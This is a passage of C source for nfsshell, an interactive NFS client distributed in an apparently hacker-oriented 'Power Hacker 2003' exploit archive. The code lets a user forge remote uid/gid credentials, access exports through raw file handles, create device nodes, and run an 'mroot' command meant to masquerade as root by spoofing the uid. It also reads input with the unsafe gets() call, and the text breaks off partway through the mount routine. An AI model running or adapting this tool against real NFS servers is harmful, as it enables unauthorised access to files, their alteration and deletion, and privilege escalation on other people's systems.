home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Power Hacker 2003
/
Power_Hacker_2003.iso
/
Exploit and vulnerability
/
hoobie
/
nfsshell.c
< prev
next >
Wrap
Text File
|
2001-11-06
|
45KB
|
1,907 lines
/*
* Copyright, 1991, 1992, by Leendert van Doorn (leendert@cs.vu.nl)
*
* This material is copyrighted by Leendert van Doorn, 1991, 1992. The usual
* standard disclaimer applies, especially the fact that the author nor the
* Vrije Universiteit, Amsterdam are liable for any damages caused by direct or
* indirect use of the information or functionality provided by this program.
*/
/*
* nfs - A shell that provides access to NFS file systems
*/
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <signal.h>
#include <setjmp.h>
#include <netdb.h>
#include <errno.h>
#include <rpc/rpc.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/vnode.h>
#include <sys/vfs.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <ufs/inode.h>
#include "mount.h"
#include "nfs_prot.h"
/*
* Fundamental constants
*/
#define NARGVEC 100 /* maximum number of arguments */
/*
* List of command identifiers
*/
#define CMD_UNKNOWN 0 /* unknown command */
#define CMD_HOST 1 /* host <host> */
#define CMD_UID 2 /* uid [<uid>] */
#define CMD_GID 3 /* gid [<gid>] */
#define CMD_CD 4 /* cd [<path>] */
#define CMD_LCD 5 /* lcd [<path>] */
#define CMD_CAT 6 /* cat <filespec> */
#define CMD_LS 7 /* ls [-l] <filespec> */
#define CMD_GET 8 /* get <filespec> */
#define CMD_DF 9 /* df */
#define CMD_MOUNT 10 /* mount [-u] [-p] [<host>:]<path> */
#define CMD_UMOUNT 11 /* umount */
#define CMD_UMOUNTALL 12 /* umountall */
#define CMD_EXPORT 13 /* export */
#define CMD_DUMP 14 /* dump */
#define CMD_STATUS 15 /* status */
#define CMD_HELP 16 /* help */
#define CMD_QUIT 17 /* quit */
#define CMD_RM 18 /* rm <file> */
#define CMD_LN 19 /* ln <file1> <file2> */
#define CMD_MV 20 /* mv <file1> <file2> */
#define CMD_MKDIR 21 /* mkdir <dir> */
#define CMD_RMDIR 22 /* rmdir <dir> */
#define CMD_CHMOD 23 /* chmod <mode> <file> */
#define CMD_CHOWN 24 /* chown <uid>[.<gid>] <file> */
#define CMD_PUT 25 /* put <local-file> [<remote-file>] */
#define CMD_HANDLE 26 /* handle [<file-handle>] */
#define CMD_MKNOD 27 /* mknod <file> <major> <minor> */
#define CMD_MROOT 28 /* mroot */
/*
* Key word table
*/
struct keyword {
char *kw_command;
int kw_value;
char *kw_help;
} keyword[] = {
"host", CMD_HOST, "<host> - set remote host name",
"uid", CMD_UID, "[<uid>] - set remote user id",
"gid", CMD_GID, "[<gid>] - set remote group id",
"cd", CMD_CD, "[<path>] - change remote working directory",
"lcd", CMD_LCD, "[<path>] - change local working directory",
"cat", CMD_CAT, "<filespec> - display remote file",
"ls", CMD_LS, "[-l] <filespec> - list remote directory",
"get", CMD_GET, "<filespec> - get remote files",
"df", CMD_DF, "- file system information",
"rm", CMD_RM, "<file> - delete remote file",
"ln", CMD_LN, "<file1> <file2> - link file",
"mv", CMD_MV, "<file1> <file2> - move file",
"mkdir", CMD_MKDIR, "<dir> - make remote directory",
"rmdir", CMD_RMDIR, "<dir> - remove remote directory",
"chmod", CMD_CHMOD, "<mode> <file> - change mode",
"chown", CMD_CHOWN, "<uid>[.<gid>] <file> - change owner",
"put", CMD_PUT, "<local-file> [<remote-file>] - put file",
"mount", CMD_MOUNT, "[-u] [-p] [<host>:]<path> - mount file system",
"umount", CMD_UMOUNT, "- umount remote file system",
"umountall",CMD_UMOUNTALL, "- umount all remote file systems",
"export", CMD_EXPORT, "- show all exported file systems",
"dump", CMD_DUMP, "- show all remote mounted file systems",
"status", CMD_STATUS, "- general status report",
"help", CMD_HELP, "- this help message",
"quit", CMD_QUIT, "- name says it all",
"handle", CMD_HANDLE, "[<handle>] - get/set directory file handle",
"mknod", CMD_MKNOD, "mknod <file> <major> <minor> - make devices",
"mroot", CMD_MROOT, "- attempt to masquerade as root"
};
/* run-time settable flags */
int verbose = 1; /* verbosity flag */
int interact = 1; /* interactive mode */
/* user provided credentials */
int uid = -2; /* remote user id (initialy nobody) */
int gid = -2; /* remote group id (initialy nobody) */
/* server information (also used as state information) */
char *mountpath; /* remote mount path */ char *remotehost; /* remote host name */ struct sockaddr_in server_addr; /* remote server address information */ struct sockaddr_in mntserver_addr; /* remote mount server address */
struct sockaddr_in nfsserver_addr; /* remote mount server address */
CLIENT *mntclient; /* mount RPC client */
CLIENT *nfsclient; /* nfs RPC client */
fhstatus *mountpoint; /* remote mount point */
fhandle directory_handle; /* current directory handle */
struct timeval timeout = { 60, 0 }; /* default time out */
int transfersize; /* NFS default transfer size */
/* interrupt environments */
jmp_buf intenv; /* where to go in interrupts */
fhstatus *pmap_mnt();
char *malloc();
char *calloc();
char *realloc();
char *strsave();
char *strchr();
char *nfs_error();
char *getenv();
void interrupt();
main(argc, argv)
int argc;
char **argv;
{
int opt, cmd, argcount;
char *argvec[NARGVEC];
char buffer[BUFSIZ];
/* command line option processing */
while ((opt = getopt(argc, argv, "vi")) != EOF) {
switch (opt) {
case 'v':
verbose = 0;
break;
case 'i':
interact = 0;
break;
default:
fprintf(stderr, "Usage: %s [-v]\n", argv[0]);
exit(1);
}
}
signal(SIGINT, interrupt);
/* interpreter's main command loop */
if (setjmp(intenv)) putchar('\n');
while (getline(buffer, BUFSIZ, &argcount, argvec, NARGVEC)) {
if (argcount == 0) continue;
if ((cmd = command(argvec[0])) == CMD_QUIT)
break;
else switch (cmd) {
case CMD_HOST:
do_host(argcount, argvec);
break;
case CMD_UID:
do_setid(&uid, argcount, argvec);
break;
case CMD_GID:
do_setid(&gid, argcount, argvec);
break;
case CMD_CD:
do_cd(argcount, argvec);
break;
case CMD_LCD:
do_lcd(argcount, argvec);
break;
case CMD_CAT:
do_cat(argcount, argvec);
break;
case CMD_LS:
do_ls(argcount, argvec);
break;
case CMD_GET:
do_get(argcount, argvec);
break;
case CMD_DF:
do_df(argcount, argvec);
break;
case CMD_RM:
do_rm(argcount, argvec);
break;
case CMD_LN:
do_ln(argcount, argvec);
break;
case CMD_MV:
do_mv(argcount, argvec);
break;
case CMD_MKDIR:
do_mkdir(argcount, argvec);
break;
case CMD_RMDIR:
do_rmdir(argcount, argvec);
break;
case CMD_CHMOD:
do_chmod(argcount, argvec);
break;
case CMD_CHOWN:
do_chown(argcount, argvec);
break;
case CMD_PUT:
do_put(argcount, argvec);
break;
case CMD_HANDLE:
do_handle(argcount, argvec);
break;
case CMD_MKNOD:
do_mknod(argcount, argvec);
break;
case CMD_MROOT:
do_mroot(&uid, argcount, argvec);
break;
case CMD_MOUNT:
do_mount(argcount, argvec);
break;
case CMD_UMOUNT:
do_umount(argcount, argvec);
break;
case CMD_UMOUNTALL:
do_umountall(argcount, argvec);
break;
case CMD_EXPORT:
do_export(argcount, argvec);
break;
case CMD_DUMP:
do_dump(argcount, argvec);
break;
case CMD_STATUS:
do_status(argcount, argvec);
break;
case CMD_HELP:
do_help(argcount, argvec);
break;
case CMD_UNKNOWN:
if (buffer[0] == '!') {
system(buffer + 1);
printf("!\n");
} else
fprintf(stderr, "%s: unrecognized command\n", argvec[0]);
break;
default:
fprintf(stderr, "internal error: '%s' not is case\n", argvec[0]);
break;
}
}
if (remotehost) close_mount();
exit(0);
}
void
interrupt()
{
longjmp(intenv, 1);
}
/*
* Read a line from standard input and break
* it up into an argument vector.
*/
int
getline(buf, bufsize, argc, argv, argvsize)
char *buf, **argv;
int bufsize, *argc, argvsize;
{
register char *p;
if (interact) printf("nfs> ");
if (fgets(buf, bufsize, stdin) == NULL)
return 0;
*argc = 0;
for (p = buf; *p == ' ' || *p == '\t'; p++)
/* skip white spaces */;
while (*p != ' ' && *p != '\t' && *p != '\n' && *p != '\0') {
if (*argc > argvsize) break;
argv[(*argc)++] = p;
for (; *p != ' ' && *p != '\t' && *p != '\n' && *p != '\0'; p++)
/* skip word */;
if (*p != '\0') *p++ ='\0';
for (; *p == ' ' || *p == '\t'; p++)
/* skip white spaces */;
}
return 1;
}
/*
* Search for command in keyword table
*/
int
command(cmd)
char *cmd;
{
register int i;
for (i = 0; i < sizeof(keyword)/sizeof(struct keyword); i++)
if (strcmp(keyword[i].kw_command, cmd) == 0)
return keyword[i].kw_value;
return CMD_UNKNOWN;
}
/*
* Set remote host and initialize RPC channel
* to mount daemon.
*/
do_host(argc, argv)
int argc;
char **argv;
{
if (argc != 2)
fprintf(stderr, "Usage: host <host>\n");
else
open_mount(argv[1]);
}
/*
* Set user or group id (updating RPC authentication info)
*/
do_setid(var, argc, argv)
int *var, argc;
char **argv;
{
*var = argc == 2 ? atoi(argv[1]) : -2;
if (nfsclient && nfsclient->cl_auth) {
auth_destroy(nfsclient->cl_auth);
nfsclient->cl_auth = authunix_create_default(uid, gid);
}
}
/*
* Change remote working directory
*/
do_cd(argc, argv)
int argc;
char **argv;
{
register char *p;
char *component;
diropargs args;
diropres *res;
fhandle handle;
if (mountpath == NULL) {
fprintf(stderr, "cd: no remote file system mounted\n");
return;
}
/* easy case: cd to root */
if (argc == 1) {
bcopy(mountpoint->fhstatus_u.fhs_fhandle, directory_handle, NFS_FHSIZE);
return;
}
/* if a directory start with '/', we search from the root */
if (*(p = argv[1]) == '/') {
bcopy(mountpoint->fhstatus_u.fhs_fhandle, handle, NFS_FHSIZE);
p++;
} else
bcopy(directory_handle, handle, NFS_FHSIZE);
/*
* Break path up into directory components and check every
* component for its validity.
*/
for (;;) {
if (*p == '\0') break;
for (component = p; *p != '/' && *p != '\0'; p++)
/* do nothing */;
*p++ = '\0';
args.name = component;
bcopy(handle, &args.dir, NFS_FHSIZE);
if ((res = nfsproc_lookup_2(&args, nfsclient)) == NULL) {
clnt_perror(nfsclient, "nfsproc_lookup");
return;
}
if (res->status != NFS_OK) {
fprintf(stderr, "%s: %s\n", component, nfs_error(res->status));
return;
}
if (res->diropres_u.diropres.attributes.type != NFDIR) {
fprintf(stderr, "%s: is not a directory\n", component);
return;
}
bcopy(&res->diropres_u.diropres.file, handle, NFS_FHSIZE);
}
bcopy(handle, directory_handle, NFS_FHSIZE);
}
/*
* Change local working directory
*/
do_lcd(argc, argv)
int argc;
char **argv;
{
if (argc == 1) {
char *home = getenv("HOME");
if (home != NULL)
if (chdir(home) != 0) perror("lcd");
} else
if (chdir(argv[1]) != 0) perror("lcd");
}
/*
* Display a remote file
*/
do_cat(argc, argv)
int argc;
char **argv;
{
diropargs dargs;
diropres *dres;
readargs rargs;
readres *rres;
long offset;
if (mountpath == NULL) {
fprintf(stderr, "cat: no remote file system mounted\n");
return;
}
if (argc != 2) {
fprintf(stderr, "Usage: cat <filespec>\n");
return;
}
/* lookup name in current directory */
dargs.name = argv[1];
bcopy(directory_handle, &dargs.dir, NFS_FHSIZE);
if ((dres = nfsproc_lookup_2(&dargs, nfsclient)) == NULL) {
clnt_perror(nfsclient, "nfsproc_lookup");
return;
}
if (dres->status != NFS_OK) {
fprintf(stderr, "%s: %s\n", argv[1], nfs_error(dres->status));
return;
}
if (dres->diropres_u.diropres.attributes.type != NFREG) {
fprintf(stderr, "%s: is not a regular file\n", argv[1]);
return;
}
bcopy(&dres->diropres_u.diropres.file, &rargs.file, NFS_FHSIZE);
for (offset = 0; offset < dres->diropres_u.diropres.attributes.size; ) {
rargs.offset = offset;
rargs.count = rargs.totalcount = transfersize;
if ((rres = nfsproc_read_2(&rargs, nfsclient)) == NULL) {
clnt_perror(nfsclient, "nfsproc_read_2");
break;
}
if (rres->status != NFS_OK) {
fprintf(stderr, "%s: %s\n", argv[1], nfs_error(rres->status));
break;
}
fwrite(rres->readres_u.reply.data.data_val,
rres->readres_u.reply.data.data_len, 1, stdout);
offset += transfersize;
}
}
/*
* List remote directory
*/
do_ls(argc, argv)
int argc;
char **argv;
{
char **table, **ptr, **p;
int lflag = 0;
argv++; argc--;
if (mountpath == NULL) {
fprintf(stderr, "ls: no remote file system mounted\n");
return;
}
if (argc >= 1 && strcmp(argv[0], "-l") == 0) {
argv++; argc--;
lflag = 1;
}
if (!getdirentries(directory_handle, &table, &ptr, 20))
return;
for (p = table; p < ptr; p++) {
if (!match(*p, argc, argv)) continue;
if (lflag == 1)
printfilestatus(*p);
else
printf("%s\n", *p);
free(*p);
}
free(table);
}
/*
* Print long listing of a files, much in the way ``ls -l'' does
*/
printfilestatus(name)
char *name;
{
diropargs args;
diropres *res;
int mode;
args.name = name;
bcopy(directory_handle, &args.dir, NFS_FHSIZE);
if ((res = nfsproc_lookup_2(&args, nfsclient)) == NULL) {
clnt_perror(nfsclient, "nfsproc_lookup");
return;
}
if (res->status != NFS_OK) {
fprintf(stderr, "Lookup failed: %s\n", nfs_error(res->status));
return;
}
switch (res->diropres_u.diropres.attributes.type) {
case NFNON:
putchar('s');
break;
case NFREG:
putchar('-');
break;
case NFDIR:
putchar('d');
break;
case NFBLK:
putchar('b');
break;
case NFCHR:
putchar('c');
break;
case NFLNK:
putchar('l');
break;
default:
putchar('?');
break;
}
mode = res->diropres_u.diropres.attributes.mode;
if (mode & 0400) putchar('r'); else putchar('-');
if (mode & 0200) putchar('w'); else putchar('-');
if (mode & 0100)
if (mode & 04000) putchar('s'); else putchar('x');
else
if (mode & 04000) putchar('S'); else putchar('-');
if (mode & 040) putchar('r'); else putchar('-');
if (mode & 020) putchar('w'); else putchar('-');
if (mode & 010)
if (mode & 02000) putchar('s'); else putchar('x');
else
if (mode & 02000) putchar('S'); else putchar('-');
if (mode & 04) putchar('r'); else putchar('-');
if (mode & 02) putchar('w'); else putchar('-');
if (mode & 01)
if (mode & 01000) putchar('t'); else putchar('x');
else
if (mode & 01000) putchar('T'); else putchar('-');
printf("%3d%9d%6d%10d ",
res->diropres_u.diropres.attributes.nlink,
res->diropres_u.diropres.attributes.uid,
res->diropres_u.diropres.attributes.gid,
res->diropres_u.diropres.attributes.size);
writefiledate(res->diropres_u.diropres.attributes.ctime.seconds);
printf(" %s", name);
if (res->diropres_u.diropres.attributes.type == NFLNK) {
readlinkres *rlres;
nfs_fh rlargs;
bcopy(&res->diropres_u.diropres.file, &rlargs, NFS_FHSIZE);
if ((rlres = nfsproc_readlink_2(&rlargs, nfsclient)) == NULL) {
clnt_perror(nfsclient, "nfsproc_readlink");
return;
}
if (res->status != NFS_OK) {
fprintf(stderr, "Lookup failed: %s\n", nfs_error(res->status));
return;
}
printf(" -> %s\n", rlres->readlinkres_u.data);
} else
putchar('\n');
}
int
writefiledate(d)
time_t d;
{
time_t now, sixmonthsago, onehourfromnow;
char *cp;
(void) time(&now);
sixmonthsago = now - 6L*30L*24L*60L*60L;
onehourfromnow = now + 60L*60L;
cp = ctime(&d);
if ((d < sixmonthsago) || (d > onehourfromnow))
return printf(" %-7.7s %-4.4s ", cp+4, cp+20);
else
return printf(" %-12.12s ", cp+4);
}
/*
* Get remote files
*/
do_get(argc, argv)
int argc;
char **argv;
{
char **table, **ptr, **p;
char answer[512];
diropargs args;
diropres *res;
readargs rargs;
readres *rres;
int iflag = 0;
long offset;
FILE *fp;
argv++; argc--;
if (mountpath == NULL) {
fprintf(stderr, "get: no remote file system mounted\n");
return;
}
if (argc >= 1 && strcmp(argv[0], "-i") == 0) {
argv++; argc--;
iflag = 1;
}
if (!getdirentries(directory_handle, &table, &ptr, 20))
return;
for (p = table; p < ptr; p++) {
/* match before going over the wire */
if (!match(*p, argc, argv)) continue;
/* only regular files can be transfered */
args.name = *p;
bcopy(directory_handle, &args.dir, NFS_FHSIZE);
if ((res = nfsproc_lookup_2(&args, nfsclient)) == NULL) {
clnt_perror(nfsclient, "nfsproc_lookup");
return;
}
if (res->status != NFS_OK) {
fprintf(stderr, "Lookup failed: %s\n", nfs_error(res->status));
return;
}
if (res->diropres_u.diropres.attributes.type != NFREG)
continue;
/* ask for confirmation */
printf("%s? ", *p);
if (!iflag) {
gets(answer);
if (answer[0] != 'y' && answer[0] != 'Y') continue;
} else
printf("Yes\n");
/* get actual file */
if ((fp = fopen(*p, "w")) == NULL) {
fprintf(stderr, "get: cannot create %s\n", *p);
continue;
}
bcopy(&res->diropres_u.diropres.file, &rargs.file, NFS_FHSIZE);
for (offset = 0; offset < res->diropres_u.diropres.attributes.size; ) {
rargs.offset = offset;
rargs.count = rargs.totalcount = transfersize;
if ((rres = nfsproc_read_2(&rargs, nfsclient)) == NULL) {
clnt_perror(nfsclient, "nfsproc_read");
break;
}
if (rres->status != NFS_OK) {
fprintf(stderr, "%s: %s\n", argv[1], nfs_error(rres->status));
break;
}
fwrite(rres->readres_u.reply.data.data_val,
rres->readres_u.reply.data.data_len, 1, fp);
offset += transfersize;
}
fclose(fp);
free(*p);
}
free(table);
}
/*
* Show file system information
*/
/* ARGUSED */
do_df(argc, argv)
int argc;
char **argv;
{
statfsres *res;
if (mountpath == NULL) {
fprintf(stderr, "df: no remote file system mounted\n");
return;
}
if (argc != 1) {
fprintf(stderr, "Usage: df\n");
return;
}
if ((res = nfsproc_statfs_2(directory_handle, nfsclient)) == NULL) {
clnt_perror(nfsclient, "nfsproc_statfs");
return;
}
if (res->status != NFS_OK) {
fprintf(stderr, "Df failed: %s\n", nfs_error(res->status));
return;
}
#define x res->statfsres_u.reply
printf("%s:%s %dK, %dK used, %dK free (%dK useable).\n",
remotehost, mountpath, x.blocks, (x.blocks-x.bfree), x.bfree, x.bavail);
if (x.bsize != 1024)
printf("Warning: This filesystem has a blocksize of %d bytes.\n",
x.bsize);
#undef x
}
/*
* Delete a remote file
*/
do_rm(argc, argv)
int argc;
char **argv;
{
diropargs args;
nfsstat *res;
if (mountpath == NULL) {
fprintf(stderr, "rm: no remote file system mounted\n");
return;
}
if (argc != 2) {
fprintf(stderr, "Usage: rm <file>\n");
return;
}
args.name = argv[1];
bcopy(directory_handle, &args.dir, NFS_FHSIZE);
if ((res = nfsproc_remove_2(&args, nfsclient)) == NULL) {
clnt_perror(nfsclient, "nfsproc_remove");
return;
}
if (*res != NFS_OK) {
fprintf(stderr, "Remove failed: %s\n", nfs_error(*res));
return;
}
}
/*
* Link a file
*/
do_ln(argc, argv)
int argc;
char **argv;
{
diropargs dargs;
linkargs largs;
diropres *dres;
nfsstat *lres;
if (mountpath == NULL) {
fprintf(stderr, "ln: no remote file system mounted\n");
return;
}
if (argc != 3) {
fprintf(stderr, "Usage: ln <file1> <file2>\n");
return;
}
dargs.name = argv[1];
bcopy(directory_handle, &dargs.dir, NFS_FHSIZE);
if ((dres = nfsproc_lookup_2(&dargs, nfsclient)) == NULL) {
clnt_perror(nfsclient, "nfsproc_lookup");
return;
}
if (dres->status != NFS_OK) {
fprintf(stderr, "%s: %s\n", argv[1], nfs_error(dres->status));
return;
}
bcopy(&dres->diropres_u.diropres.file, &largs.from, NFS_FHSIZE);
largs.to.name = argv[2];
bcopy(directory_handle, &largs.to.dir, NFS_FHSIZE);
if ((lres = nfsproc_link_2(&largs, nfsclient)) == NULL) {
clnt_perror(nfsclient, "nfsproc_link");
return;
}
if (*lres != NFS_OK) {
fprintf(stderr, "Link failed: %s\n", nfs_error(*lres));
return;
}
}
/*
* Move a file or directory
*/
do_mv(argc, argv)
int argc;
char **argv;
{
renameargs args;
nfsstat *res;
if (mountpath == NULL) {
fprintf(stderr, "mv: no remote file system mounted\n");
return;
}
if (argc != 3) {
fprintf(stderr, "Usage: mv <file1> <file2>\n");
return;
}
args.from.name = argv[1];
bcopy(directory_handle, &args.from.dir, NFS_FHSIZE);
args.to.name = argv[2];
bcopy(directory_handle, &args.to.dir, NFS_FHSIZE);
if ((res = nfsproc_rename_2(&args, nfsclient)) == NULL) {
clnt_perror(nfsclient, "nfsproc_rename");
return;
}
if (*res != NFS_OK) {
fprintf(stderr, "Rename failed: %s\n", nfs_error(*res));
return;
}
}
/*
* Make remote directory
*/
do_mkdir(argc, argv)
int argc;
char **argv;
{
createargs args;
diropres *res;
if (mountpath == NULL) {
fprintf(stderr, "mkdir: no remote file system mounted\n");
return;
}
if (argc != 2) {
fprintf(stderr, "Usage: mkdir <directory>\n");
return;
}
args.where.name = argv[1];
bcopy(directory_handle, &args.where.dir, NFS_FHSIZE);
args.attributes.mode = 040755;
args.attributes.uid = uid;
args.attributes.gid = gid;
args.attributes.size = -1;
args.attributes.atime.seconds = -1;
args.attributes.atime.useconds = -1;
args.attributes.mtime.seconds = -1;
args.attributes.mtime.useconds = -1;
if ((res = nfsproc_mkdir_2(&args, nfsclient)) == NULL) {
clnt_perror(nfsclient, "nfsproc_mkdir");
return;
}
if (res->status != NFS_OK) {
fprintf(stderr, "Make directory failed: %s\n", nfs_error(res->status));
return;
}
}
/*
* Remove remote directory
*/
do_rmdir(argc, argv)
int argc;
char **argv;
{
diropargs args;
nfsstat *res;
if (mountpath == NULL) {
fprintf(stderr, "rmdir: no remote file system mounted\n");
return;
}
if (argc != 2) {
fprintf(stderr, "Usage: rmdir <directory>\n");
return;
}
args.name = argv[1];
bcopy(directory_handle, &args.dir, NFS_FHSIZE);
if ((res = nfsproc_rmdir_2(&args, nfsclient)) == NULL) {
clnt_perror(nfsclient, "nfsproc_rmdir");
return;
}
if (*res != NFS_OK) {
fprintf(stderr, "Remove directory failed: %s\n", nfs_error(*res));
return;
}
}
/*
* Change mode of remote file or directory
*/
do_chmod(argc, argv)
int argc;
char **argv;
{
sattrargs aargs;
diropargs dargs;
attrstat *ares;
diropres *dres;
int mode;
if (mountpath == NULL) {
fprintf(stderr, "chmod: no remote file system mounted\n");
return;
}
if (argc != 3) {
fprintf(stderr, "Usage: chmod <mode> <file>\n");
return;
}
if (sscanf(argv[1], "%o", &mode) != 1) {
fprintf(stderr, "chmod: invalid mode\n");
return;
}
dargs.name = argv[2];
bcopy(directory_handle, &dargs.dir, NFS_FHSIZE);
if ((dres = nfsproc_lookup_2(&dargs, nfsclient)) == NULL) {
clnt_perror(nfsclient, "nfsproc_lookup");
return;
}
if (dres->status != NFS_OK) {
fprintf(stderr, "%s: %s\n", argv[2], nfs_error(dres->status));
return;
}
bcopy(&dres->diropres_u.diropres.file, &aargs.file, NFS_FHSIZE);
aargs.attributes.mode = mode;
aargs.attributes.uid = -1;
aargs.attributes.gid = -1;
aargs.attributes.size = -1;
aargs.attributes.atime.seconds = -1;
aargs.attributes.atime.useconds = -1;
aargs.attributes.mtime.seconds = -1;
aargs.attributes.mtime.useconds = -1;
if ((ares = nfsproc_setattr_2(&aargs, nfsclient)) == NULL) {
clnt_perror(nfsclient, "nfsproc_setattr");
return;
}
if (ares->status != NFS_OK) {
fprintf(stderr, "Set attributes failed: %s\n", nfs_error(ares->status));
return;
}
}
/*
* Change owner (and group) of remote file or directory
*/
do_chown(argc, argv)
int argc;
char **argv;
{
sattrargs aargs;
diropargs dargs;
attrstat *ares;
diropres *dres;
int own_uid, own_gid;
if (mountpath == NULL) {
fprintf(stderr, "chown: no remote file system mounted\n");
return;
}
if (argc != 3) {
fprintf(stderr, "Usage: chown <uid>[.<gid>] <file>\n");
return;
}
if (sscanf(argv[1], "%d.%d", &own_uid, &own_gid) != 2) {
own_gid = -1;
if (sscanf(argv[1], "%d", &own_uid) != 1) {
fprintf(stderr, "chown: invalid uid[.gid]\n");
return;
}
}
dargs.name = argv[2];
bcopy(directory_handle, &dargs.dir, NFS_FHSIZE);
if ((dres = nfsproc_lookup_2(&dargs, nfsclient)) == NULL) {
clnt_perror(nfsclient, "nfsproc_lookup");
return;
}
if (dres->status != NFS_OK) {
fprintf(stderr, "%s: %s\n", argv[2], nfs_error(dres->status));
return;
}
bcopy(&dres->diropres_u.diropres.file, &aargs.file, NFS_FHSIZE);
aargs.attributes.mode = -1;
aargs.attributes.uid = own_uid;
aargs.attributes.gid = own_gid;
aargs.attributes.size = -1;
aargs.attributes.atime.seconds = -1;
aargs.attributes.atime.useconds = -1;
aargs.attributes.mtime.seconds = -1;
aargs.attributes.mtime.useconds = -1;
if ((ares = nfsproc_setattr_2(&aargs, nfsclient)) == NULL) {
clnt_perror(nfsclient, "nfsproc_setattr");
return;
}
if (ares->status != NFS_OK) {
fprintf(stderr, "Set attributes failed: %s\n", nfs_error(ares->status));
return;
}
}
/*
* Put file from local to remote
*/
do_put(argc, argv)
int argc;
char **argv;
{
createargs cargs;
diropargs dargs;
diropres *cres;
diropres *dres;
char buf[BUFSIZ];
fhandle handle;
FILE *fp;
int n;
long offset;
if (mountpath == NULL) {
fprintf(stderr, "put: no remote file system mounted\n");
return;
}
if (argc != 2 && argc != 3) {
fprintf(stderr, "Usage: put <local-file> [<remote-file>]\n");
return;
}
if ((fp = fopen(argv[1], "r")) == NULL) {
fprintf(stderr, "put: cannot open %s\n", argv[1]);
return;
}
/*
* Create remote file name
*/
cargs.where.name = argc == 3 ? argv[2] : argv[1];
bcopy(directory_handle, &cargs.where.dir, NFS_FHSIZE);
cargs.attributes.mode = 0666;
cargs.attributes.uid = uid;
cargs.attributes.gid = gid;
cargs.attributes.size = -1;
cargs.attributes.atime.seconds = -1;
cargs.attributes.atime.useconds = -1;
cargs.attributes.mtime.seconds = -1;
cargs.attributes.mtime.useconds = -1;
if ((cres = nfsproc_create_2(&cargs, nfsclient)) == NULL) {
clnt_perror(nfsclient, "nfsproc_create");
fclose(fp);
return;
}
if (cres->status != NFS_OK)
fprintf(stderr, "WARNING: Create failed: %s\n", nfs_error(*cres));
/*
* Look up remote file name, to get its handle
*/
dargs.name = argc == 3 ? argv[2] : argv[1];
bcopy(directory_handle, &dargs.dir, NFS_FHSIZE);
if ((dres = nfsproc_lookup_2(&dargs, nfsclient)) == NULL) {
clnt_perror(nfsclient, "nfsproc_lookup");
fclose(fp);
return;
}
if (dres->status != NFS_OK) {
fprintf(stderr, "%s: %s\n", argv[1], nfs_error(dres->status));
fclose(fp);
return;
}
bcopy(&dres->diropres_u.diropres.file, handle, NFS_FHSIZE);
for (offset = 0; (n = fread(buf, 1, sizeof(buf), fp)) > 0; offset += n) {
writeargs wargs;
attrstat *wres;
bcopy(handle, &wargs.file, NFS_FHSIZE);
wargs.beginoffset = wargs.offset = offset;
wargs.totalcount = n;
wargs.data.data_len = n;
wargs.data.data_val = buf;
if ((wres = nfsproc_write_2(&wargs, nfsclient)) == NULL) {
clnt_perror(nfsclient, "nfsproc_write");
fclose(fp);
return;
}
if (wres->status != NFS_OK) {
fprintf(stderr, "Write failed: %s\n", nfs_error(wres->status));
fclose(fp);
return;
}
}
fclose(fp);
}
/*
* Get/set file handle
*/
do_handle(argc, argv)
int argc;
char **argv;
{
register char *p;
register int i;
int sock;
if (argc <= 1) {
if (mountpath == NULL) {
fprintf(stderr, "handle: no remote file system mounted\n");
return;
}
printf("%s:", mountpath);
for (i = 0, p = (char *)directory_handle; i < NFS_FHSIZE; i++)
printf(" %02x", *p++ & 0xFF);
printf("\n");
return;
}
if (argc != NFS_FHSIZE + 1) {
fprintf(stderr, "Usage: handle [<file handle>]\n");
return;
}
/* umount previous mounted remote file system */
if (mountpath != NULL)
close_nfs();
/* setup communication channel with NFS server */
sock = privileged();
nfsserver_addr = server_addr;
if ((nfsclient = clntudp_create(&nfsserver_addr, NFS_PROGRAM,
NFS_VERSION, timeout, &sock)) == NULL) {
clnt_pcreateerror("nfs clntudp_create");
return 0;
}
clnt_control(nfsclient, CLSET_TIMEOUT, &timeout);
nfsclient->cl_auth = authunix_create_default(uid, gid);
/* provide some generic name for it */
if ((mountpath = malloc(8 + 1)) == NULL) {
fprintf(stderr, "internal error: no more core for mountpath\n");
return;
}
strcpy(mountpath, "<handle>");
/* copy handle from command line argument */
for (i = 0, p = (char *)directory_handle; i < NFS_FHSIZE; i++)
*p++ = (char) xtoa(argv[i + 1]);
/* get transfer size */
if ((transfersize = determine_transfersize()) <= 0) {
fprintf(stderr, "Handle failed: Unable to obtain transfer size\n");
return;
}
}
/*
* Create a character device
*/
do_mknod(argc, argv)
int argc;
char **argv;
{
createargs cargs;
diropargs dargs;
diropres *cres;
diropres *dres;
char buf[BUFSIZ];
fhandle handle;
FILE *fp;
int n;
long offset;
if (mountpath == NULL) {
fprintf(stderr, "mknod: no remote file system mounted\n");
return;
}
if (argc != 4) {
fprintf(stderr, "Usage: mknod <file> <major> <minor>]\n");
return;
}
printf("%s\n", argv[1]);
cargs.where.name=argv[1];
bcopy(directory_handle, &cargs.where.dir, NFS_FHSIZE);
cargs.attributes.mode = IFCHR;
cargs.attributes.uid = uid;
cargs.attributes.gid = gid;
cargs.attributes.size = makedev(0, 0);
cargs.attributes.atime.seconds = -1;
cargs.attributes.atime.useconds = -1;
cargs.attributes.mtime.seconds = -1;
cargs.attributes.mtime.useconds = -1;
if ((cres = nfsproc_create_2(&cargs, nfsclient)) == NULL) {
clnt_perror(nfsclient, "nfsproc_create");
return;
}
}
/*
* Attempt to masquerade as root (and update RPC authenticaton info)
*/
do_mroot(var, argc, argv)
int *var, argc;
char **argv;
{
*var = 0x00100000;
if (nfsclient && nfsclient->cl_auth) {
auth_destroy(nfsclient->cl_auth);
nfsclient->cl_auth = authunix_create_default(uid, gid);
}
/*
* Put in some type of code here
* to find a directory owned by root
* and write a zero byte file to it.
* once written, it would be possible
* to test to make sure this method
* works and tell the person upon
* startup.
*/
}
int
xtoa(s)
char *s;
{
register int n;
for (n = 0; *s; s++) {
n <<= 4;
if (*s >= '0' && *s <= '9')
n += *s - '0';
else if (*s >= 'a' && *s <= 'f')
n += *s - 'a' + 10;
else if (*s >= 'A' && *s <= 'F')
n += *s - 'A' + 10;
else
break;
}
return n;
}
/*
* Set up a channel to the NFS server and
* mount remote file system.
*/
do_mount(argc, argv)
int argc;
char **argv;
{
char *host, *path;
int umount = 0, portmap = 0;
argv++; argc--;
